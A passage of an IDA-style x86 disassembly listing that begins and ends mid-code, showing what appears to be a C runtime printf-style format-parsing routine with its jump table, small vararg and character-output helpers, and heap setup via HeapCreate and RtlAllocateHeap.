loc_412CB1:				; DATA XREF: seg000:off_41335Do
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 00412CAA case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_413344	; default
; ---------------------------------------------------------------------------


loc_412CCC:				; CODE XREF: sub_412C3C+6Ej
					; DATA XREF: seg000:off_41335Do
		movsx	eax, bl		; jumptable 00412CAA case 2
		sub	eax, 20h
		jz	short loc_412D0F
		sub	eax, 3
		jz	short loc_412D06
		sub	eax, 8
		jz	short loc_412CFD
		dec	eax
		dec	eax
		jz	short loc_412CF4
		sub	eax, 3
		jnz	loc_413344	; default
		or	[ebp+var_4], 8
		jmp	loc_413344	; default
; ---------------------------------------------------------------------------


loc_412CF4:				; CODE XREF: sub_412C3C+A4j
		or	[ebp+var_4], 4
		jmp	loc_413344	; default
; ---------------------------------------------------------------------------


loc_412CFD:				; CODE XREF: sub_412C3C+A0j
		or	[ebp+var_4], 1
		jmp	loc_413344	; default
; ---------------------------------------------------------------------------


loc_412D06:				; CODE XREF: sub_412C3C+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_413344	; default
; ---------------------------------------------------------------------------


loc_412D0F:				; CODE XREF: sub_412C3C+96j
		or	[ebp+var_4], 2
		jmp	loc_413344	; default
; ---------------------------------------------------------------------------


loc_412D18:				; CODE XREF: sub_412C3C+6Ej
					; DATA XREF: seg000:off_41335Do
		cmp	bl, 2Ah		; jumptable 00412CAA case 3
		jnz	short loc_412D40
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41341B
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_413344	; default
		or	[ebp+var_4], 4
		neg	eax


loc_412D38:				; CODE XREF: sub_412C3C+111j
		mov	[ebp+var_20], eax
		jmp	loc_413344	; default
; ---------------------------------------------------------------------------


loc_412D40:				; CODE XREF: sub_412C3C+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_412D38
; ---------------------------------------------------------------------------


loc_412D4F:				; CODE XREF: sub_412C3C+6Ej
					; DATA XREF: seg000:off_41335Do
		mov	[ebp+var_10], edx ; jumptable 00412CAA case 4
		jmp	loc_413344	; default
; ---------------------------------------------------------------------------


loc_412D57:				; CODE XREF: sub_412C3C+6Ej
					; DATA XREF: seg000:off_41335Do
		cmp	bl, 2Ah		; jumptable 00412CAA case 5
		jnz	short loc_412D7A
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41341B
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_413344	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_413344	; default
; ---------------------------------------------------------------------------


loc_412D7A:				; CODE XREF: sub_412C3C+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_413344	; default
; ---------------------------------------------------------------------------


loc_412D8C:				; CODE XREF: sub_412C3C+6Ej
					; DATA XREF: seg000:off_41335Do
		cmp	bl, 49h		; jumptable 00412CAA case 6
		jz	short loc_412DBF
		cmp	bl, 68h
		jz	short loc_412DB6
		cmp	bl, 6Ch
		jz	short loc_412DAD
		cmp	bl, 77h
		jnz	loc_413344	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_413344	; default
; ---------------------------------------------------------------------------


loc_412DAD:				; CODE XREF: sub_412C3C+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_413344	; default
; ---------------------------------------------------------------------------


loc_412DB6:				; CODE XREF: sub_412C3C+158j
		or	[ebp+var_4], 20h
		jmp	loc_413344	; default
; ---------------------------------------------------------------------------


loc_412DBF:				; CODE XREF: sub_412C3C+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_412DD8
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_412DD8
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_413344	; default
; ---------------------------------------------------------------------------


loc_412DD8:				; CODE XREF: sub_412C3C+186j
					; sub_412C3C+18Cj
		mov	[ebp+var_30], edx


loc_412DDB:				; CODE XREF: sub_412C3C+6Ej
					; DATA XREF: seg000:off_41335Do
		mov	ecx, ds:off_42E190 ; jumptable 00412CAA	case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_412E07
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41337D
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_412E07:				; CODE XREF: sub_412C3C+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41337D
		add	esp, 0Ch
		jmp	loc_413344	; default
; ---------------------------------------------------------------------------


loc_412E1F:				; CODE XREF: sub_412C3C+6Ej
					; DATA XREF: seg000:off_41335Do
		movsx	eax, bl		; jumptable 00412CAA case 7
		cmp	eax, 67h
		jg	loc_413047
		cmp	eax, 65h
		jge	loc_412ECA
		cmp	eax, 58h
		jg	loc_412F28
		jz	loc_4130BB
		sub	eax, 43h
		jz	loc_412EEB
		dec	eax
		dec	eax
		jz	short loc_412EC0
		dec	eax
		dec	eax
		jz	short loc_412EC0
		sub	eax, 0Ch
		jnz	loc_413246
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_412E69
		or	byte ptr [ebp+var_4+1],	8


loc_412E69:				; CODE XREF: sub_412C3C+227j
					; sub_412C3C+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_412E76
		mov	esi, 7FFFFFFFh


loc_412E76:				; CODE XREF: sub_412C3C+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41341B
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41308F
		test	ecx, ecx
		jnz	short loc_412E9E
		mov	ecx, ds:off_42E18C
		mov	[ebp+var_8], ecx


loc_412E9E:				; CODE XREF: sub_412C3C+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_412EA7:				; CODE XREF: sub_412C3C+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_413086
		cmp	word ptr [eax],	0
		jz	loc_413086
		inc	eax
		inc	eax
		jmp	short loc_412EA7
; ---------------------------------------------------------------------------


loc_412EC0:				; CODE XREF: sub_412C3C+212j
					; sub_412C3C+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_412ECA:				; CODE XREF: sub_412C3C+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_412FAE
		mov	[ebp+var_10], 6
		jmp	loc_412FBC
; ---------------------------------------------------------------------------


loc_412EEB:				; CODE XREF: sub_412C3C+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_412EF7
		or	byte ptr [ebp+var_4+1],	8


loc_412EF7:				; CODE XREF: sub_412C3C+2B5j
					; sub_412C3C+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_412F3E
		call	sub_413438
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41807C
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_412F51
		mov	[ebp+var_28], 1
		jmp	short loc_412F51
; ---------------------------------------------------------------------------


loc_412F28:				; CODE XREF: sub_412C3C+1FBj
		sub	eax, 5Ah
		jz	short loc_412F5F
		sub	eax, 9
		jz	short loc_412EF7
		dec	eax
		jz	loc_413121
		jmp	loc_413246
; ---------------------------------------------------------------------------


loc_412F3E:				; CODE XREF: sub_412C3C+2C5j
		call	sub_41341B
		pop	ecx
		mov	[ebp+var_248], al


loc_412F4A:				; DATA XREF: seg002:off_422B48o
		mov	[ebp+var_C], 1


loc_412F51:				; CODE XREF: sub_412C3C+2E1j
					; sub_412C3C+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_413246
; ---------------------------------------------------------------------------


loc_412F5F:				; CODE XREF: sub_412C3C+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41341B
		test	eax, eax
		pop	ecx
		jz	short loc_412FA0
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_412FA0
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_412F91
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_413246
; ---------------------------------------------------------------------------


loc_412F91:				; CODE XREF: sub_412C3C+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_413243
; ---------------------------------------------------------------------------


loc_412FA0:				; CODE XREF: sub_412C3C+32Fj
					; sub_412C3C+336j
		mov	eax, ds:off_42E188
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41303C
; ---------------------------------------------------------------------------


loc_412FAE:				; CODE XREF: sub_412C3C+29Dj
		jnz	short loc_412FBC
		cmp	bl, 67h
		jnz	short loc_412FBC
		mov	[ebp+var_10], 1


loc_412FBC:				; CODE XREF: sub_412C3C+2AAj
					; sub_412C3C:loc_412FAEj ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	ds:off_42E4C8
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41300E
		cmp	[ebp+var_10], 0
		jnz	short loc_41300E
		lea	eax, [ebp+var_248]
		push	eax
		call	ds:off_42E4D4
		pop	ecx


loc_41300E:				; CODE XREF: sub_412C3C+3BCj
					; sub_412C3C+3C2j
		cmp	bl, 67h
		jnz	short loc_413025
		test	esi, esi
		jnz	short loc_413025
		lea	eax, [ebp+var_248]
		push	eax
		call	ds:off_42E4CC
		pop	ecx


loc_413025:				; CODE XREF: sub_412C3C+3D5j
					; sub_412C3C+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41303B
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41303B:				; CODE XREF: sub_412C3C+3F0j
		push	edi


loc_41303C:				; CODE XREF: sub_412C3C+36Dj
		call	sub_410B60
		pop	ecx
		jmp	loc_413243
; ---------------------------------------------------------------------------


loc_413047:				; CODE XREF: sub_412C3C+1E9j
		sub	eax, 69h
		jz	loc_413121
		sub	eax, 5
		jz	loc_4130F7
		dec	eax
		jz	loc_4130E4
		dec	eax
		jz	short loc_4130B4
		sub	eax, 3
		jz	loc_412E69
		dec	eax
		dec	eax
		jz	loc_413125
		sub	eax, 3
		jnz	loc_413246
		mov	[ebp+var_2C], 27h
		jmp	short loc_4130C2
; ---------------------------------------------------------------------------


loc_413086:				; CODE XREF: sub_412C3C+270j
					; sub_412C3C+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_413243
; ---------------------------------------------------------------------------


loc_41308F:				; CODE XREF: sub_412C3C+24Fj
		test	ecx, ecx
		jnz	short loc_41309C
		mov	ecx, ds:off_42E188
		mov	[ebp+var_8], ecx


loc_41309C:				; CODE XREF: sub_412C3C+455j
		mov	eax, ecx


loc_41309E:				; CODE XREF: sub_412C3C+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_4130AD
		cmp	byte ptr [eax],	0
		jz	short loc_4130AD
		inc	eax
		jmp	short loc_41309E
; ---------------------------------------------------------------------------


loc_4130AD:				; CODE XREF: sub_412C3C+467j
					; sub_412C3C+46Cj
		sub	eax, ecx
		jmp	loc_413243
; ---------------------------------------------------------------------------


loc_4130B4:				; CODE XREF: sub_412C3C+425j
		mov	[ebp+var_10], 8


loc_4130BB:				; CODE XREF: sub_412C3C+201j
		mov	[ebp+var_2C], 7


loc_4130C2:				; CODE XREF: sub_412C3C+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41312C
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41312C
; ---------------------------------------------------------------------------


loc_4130E4:				; CODE XREF: sub_412C3C+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41312C
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41312C
; ---------------------------------------------------------------------------


loc_4130F7:				; CODE XREF: sub_412C3C+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41341B
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_413110
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_413115
; ---------------------------------------------------------------------------


loc_413110:				; CODE XREF: sub_412C3C+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_413115:				; CODE XREF: sub_412C3C+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_413344	; default
; ---------------------------------------------------------------------------


loc_413121:				; CODE XREF: sub_412C3C+2F7j
					; sub_412C3C+40Ej
		or	[ebp+var_4], 40h


loc_413125:				; CODE XREF: sub_412C3C+432j
		mov	[ebp+var_C], 0Ah


loc_41312C:				; CODE XREF: sub_412C3C+491j
					; sub_412C3C+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41313E
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_413428
		pop	ecx
		jmp	short loc_41317F
; ---------------------------------------------------------------------------


loc_41313E:				; CODE XREF: sub_412C3C+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_413165
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41315A
		call	sub_41341B
		pop	ecx
		movsx	eax, ax


loc_413157:				; CODE XREF: sub_412C3C+527j
					; sub_412C3C+539j
		cdq
		jmp	short loc_41317F
; ---------------------------------------------------------------------------


loc_41315A:				; CODE XREF: sub_412C3C+510j
		call	sub_41341B
		pop	ecx
		movzx	eax, ax
		jmp	short loc_413157
; ---------------------------------------------------------------------------


loc_413165:				; CODE XREF: sub_412C3C+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_413177
		call	sub_41341B
		pop	ecx
		jmp	short loc_413157
; ---------------------------------------------------------------------------


loc_413177:				; CODE XREF: sub_412C3C+531j
		call	sub_41341B
		pop	ecx
		xor	edx, edx


loc_41317F:				; CODE XREF: sub_412C3C+500j
					; sub_412C3C+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_4131A0
		test	edx, edx
		jg	short loc_4131A0
		jl	short loc_41318F
		test	eax, eax
		jnb	short loc_4131A0


loc_41318F:				; CODE XREF: sub_412C3C+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_4131A4
; ---------------------------------------------------------------------------


loc_4131A0:				; CODE XREF: sub_412C3C+547j
					; sub_412C3C+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_4131A4:				; CODE XREF: sub_412C3C+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_4131AD
		and	edi, 0


loc_4131AD:				; CODE XREF: sub_412C3C+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_4131BC
		mov	[ebp+var_10], 1
		jmp	short loc_4131C0
; ---------------------------------------------------------------------------


loc_4131BC:				; CODE XREF: sub_412C3C+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_4131C0:				; CODE XREF: sub_412C3C+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_4131CA
		and	[ebp+var_1C], 0


loc_4131CA:				; CODE XREF: sub_412C3C+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_4131D0:				; CODE XREF: sub_412C3C+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_4131E0
		mov	eax, esi
		or	eax, edi
		jz	short loc_41321B


loc_4131E0:				; CODE XREF: sub_412C3C+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_412100
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_412180
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_413211
		add	ebx, [ebp+var_2C]


loc_413211:				; CODE XREF: sub_412C3C+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_4131D0
; ---------------------------------------------------------------------------


loc_41321B:				; CODE XREF: sub_412C3C+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_413246
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_413239
		test	eax, eax
		jnz	short loc_413246


loc_413239:				; CODE XREF: sub_412C3C+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_413243:				; CODE XREF: sub_412C3C+35Fj
					; sub_412C3C+406j ...
		mov	[ebp+var_C], eax


loc_413246:				; CODE XREF: sub_412C3C+21Bj
					; sub_412C3C+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_413344	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41327E
		test	bh, 1
		jz	short loc_413263
		mov	[ebp+var_16], 2Dh
		jmp	short loc_413277
; ---------------------------------------------------------------------------


loc_413263:				; CODE XREF: sub_412C3C+61Fj
		test	bl, 1
		jz	short loc_41326E
		mov	[ebp+var_16], 2Bh
		jmp	short loc_413277
; ---------------------------------------------------------------------------


loc_41326E:				; CODE XREF: sub_412C3C+62Aj
		test	bl, 2
		jz	short loc_41327E
		mov	[ebp+var_16], 20h


loc_413277:				; CODE XREF: sub_412C3C+625j
					; sub_412C3C+630j
		mov	[ebp+var_1C], 1


loc_41327E:				; CODE XREF: sub_412C3C+61Aj
					; sub_412C3C+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41329E
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4133B2
		add	esp, 10h


loc_41329E:				; CODE XREF: sub_412C3C+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_4133E3
		add	esp, 10h
		test	bl, 8
		jz	short loc_4132D0
		test	bl, 4
		jnz	short loc_4132D0
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_4133B2
		add	esp, 10h


loc_4132D0:				; CODE XREF: sub_412C3C+67Bj
					; sub_412C3C+680j
		cmp	[ebp+var_24], 0
		jz	short loc_413317
		cmp	[ebp+var_C], 0
		jle	short loc_413317
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_4132E5:				; CODE XREF: sub_412C3C+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_41807C
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41332C
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4133E3
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_4132E5
		jmp	short loc_41332C
; ---------------------------------------------------------------------------


loc_413317:				; CODE XREF: sub_412C3C+698j
					; sub_412C3C+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_4133E3
		add	esp, 10h


loc_41332C:				; CODE XREF: sub_412C3C+6BCj
					; sub_412C3C+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_413344 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4133B2
		add	esp, 10h


loc_413344:				; CODE XREF: sub_412C3C+68j
					; sub_412C3C+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_412C68


loc_413355:				; CODE XREF: sub_412C3C+1Fj
					; sub_412C3C+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_412C3C	endp

; ---------------------------------------------------------------------------
off_41335D	dd offset loc_412DDB	; DATA XREF: sub_412C3C+6Er
		dd offset loc_412CB1	; jump table for switch	statement
		dd offset loc_412CCC
		dd offset loc_412D18
		dd offset loc_412D4F
		dd offset loc_412D57
		dd offset loc_412D8C
		dd offset loc_412E1F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41337D	proc near		; CODE XREF: sub_412C3C+1BDp
					; sub_412C3C+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_413396
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_4133A1
; ---------------------------------------------------------------------------


loc_413396:				; CODE XREF: sub_41337D+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_412B27
		pop	ecx
		pop	ecx


loc_4133A1:				; CODE XREF: sub_41337D+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_4133AE
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4133AE:				; CODE XREF: sub_41337D+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41337D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4133B2	proc near		; CODE XREF: sub_412C3C+65Ap
					; sub_412C3C+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_4133E0
		mov	esi, [esp+8+arg_C]


loc_4133C3:				; CODE XREF: sub_4133B2+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41337D
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_4133E0
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_4133C3


loc_4133E0:				; CODE XREF: sub_4133B2+Bj
					; sub_4133B2+25j
		pop	edi
		pop	esi
		retn
sub_4133B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4133E3	proc near		; CODE XREF: sub_412C3C+670p
					; sub_412C3C+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_413417
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_4133F9:				; CODE XREF: sub_4133E3+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41337D
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_413417
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_4133F9


loc_413417:				; CODE XREF: sub_4133E3+Cj
					; sub_4133E3+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4133E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41341B	proc near		; CODE XREF: sub_412C3C+E5p
					; sub_412C3C+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41341B	endp


; =============== S U B	R O U T	I N E =======================================



sub_413428	proc near		; CODE XREF: sub_412C3C+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_413428	endp


; =============== S U B	R O U T	I N E =======================================



sub_413438	proc near		; CODE XREF: sub_412C3C+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_413438	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413446	proc near		; CODE XREF: sub_4109F4+17p
					; sub_4109F4+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_413464
		mov	ecx, ds:off_42E190
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_4134B6
; ---------------------------------------------------------------------------


loc_413464:				; CODE XREF: sub_413446+10j
		mov	ecx, eax
		push	esi
		mov	esi, ds:off_42E190
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_413489
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_413492
; ---------------------------------------------------------------------------


loc_413489:				; CODE XREF: sub_413446+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_413492:				; CODE XREF: sub_413446+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	loc_4180E4
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4134B2
		leave
		retn
; ---------------------------------------------------------------------------


loc_4134B2:				; CODE XREF: sub_413446+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_4134B6:				; CODE XREF: sub_413446+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_413446	endp


; =============== S U B	R O U T	I N E =======================================



sub_4134BB	proc near		; CODE XREF: sub_410C21+1Fp
					; sub_41237F+106p ...

arg_0		= dword	ptr  4

		mov	eax, ds:dword_45F8A0
		test	eax, eax
		jz	short loc_4134D3
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_4134D3
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4134D3:				; CODE XREF: sub_4134BB+7j
					; sub_4134BB+12j
		xor	eax, eax
		retn
sub_4134BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4134D6	proc near		; CODE XREF: seg000:00412A42p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	ds:dword_41C15C	; HeapCreate
		test	eax, eax
		mov	ds:dword_460EA0, eax
		jz	short loc_41350B
		call	sub_413512
		test	eax, eax
		jnz	short loc_41350E
		push	ds:dword_460EA0
		call	ds:dword_41C158	; HeapDestroy


loc_41350B:				; CODE XREF: sub_4134D6+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41350E:				; CODE XREF: sub_4134D6+27j
		push	1
		pop	eax
		retn
sub_4134D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_413512	proc near		; CODE XREF: sub_4134D6+20p
		push	140h
		push	0
		push	ds:dword_460EA0
		call	ds:dword_41C134	; RtlAllocateHeap
		test	eax, eax
		mov	ds:dword_460E9C, eax
		jnz	short loc_41352F
		retn
; ---------------------------------------------------------------------------


loc_41352F:				; CODE XREF: sub_413512+1Aj
		and	ds:dword_460E94, 0
		and	ds:dword_460E98, 0
		push	1
		mov	ds:dword_460E90, eax
		mov	ds:dword_460E88, 10h
		pop	eax
		retn
sub_413512	endp


; =============== S U B	R O U T	I N E =======================================



sub_413550	proc near		; CODE XREF: sub_410C83+Ap
					; sub_41237F+3Dp ...

arg_0		= dword	ptr  4

		mov	eax, ds:dword_460E98
		lea	ecx, [eax+eax*4]
		mov	eax, ds:dword_460E9C
